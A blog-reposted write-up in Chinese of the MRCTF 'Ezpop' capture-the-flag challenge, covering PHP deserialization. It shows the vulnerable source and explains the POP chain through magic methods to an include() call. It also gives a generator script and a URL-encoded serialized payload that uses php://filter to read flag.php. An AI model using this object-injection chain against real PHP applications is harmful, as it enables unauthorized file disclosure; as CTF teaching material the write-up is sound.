MRCTF Ezpop簡單的pop鏈構造-有解無憂

題目

Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}

打開網站直接可以看到這段代碼，然后可以看到有幾個比較明顯的魔法函式

知識點

__invoke()：當嘗試以呼叫函式的方式呼叫一個物件時，__invoke() 方法會被自動呼叫，

__construct():具有建構式的類會在每次創建新物件時先呼叫此方法.

__toString():用于一個類被當成字串時應怎樣回應，例如 echo $obj; 應該顯示些什么，此方法必須回傳一個字串，否則將發出一條 E_RECOVERABLE_ERROR 級別的致命錯誤，

__get():讀取不可訪問屬性的值時，__get() 會被呼叫，

__wakeup():unserialize() 會檢查是否存在一個 __wakeup() 方法，如果存在，則會先呼叫 __wakeup 方法，預先準備物件需要的資源，

解題思路

我們的目的是借用append()進行檔案包含，

通過pop變數進行傳參，對傳參內容進行反序列化，反序列化可以想到觸發__wakeup(),在__wakeup()中可以看到preg_match()中把this_source當成了字串來對比，想辦法觸發__toString()然后this->str->source并不存在可以想到觸發__get方法，__get()將類Modifier類當作函式呼叫會觸發append()，構造pop鏈，

php腳本如下：

<?php
class Modifier {
    protected $var = 'php://filter/read=convert.base64-encode/resource=flag.php';
}

class Show{
    public $source;
    public $str;
    
    public function __construct($file){
        $this->source = $file;
    }
    public function __toString(){
        return " ";
    }
}

class Test{
    public $p;
}

$a = new Show('jh');
$a->str = new Test();
$a->str->p = new Modifier();
$b = new Show($a);
echo urlencode(serialize($b));

最后的payload:

O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Bs%3A2%3A%22jh%22%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D

內容借鑒

https://www.php.net/manual/zh/language.oop5.magic.php

https://blog.csdn.net/StevenOnesir/article/details/111997573

https://blog.csdn.net/qq_37589805/article/details/116535925

轉載請註明出處，本文鏈接：https://www.uj5u.com/qita/290795.html

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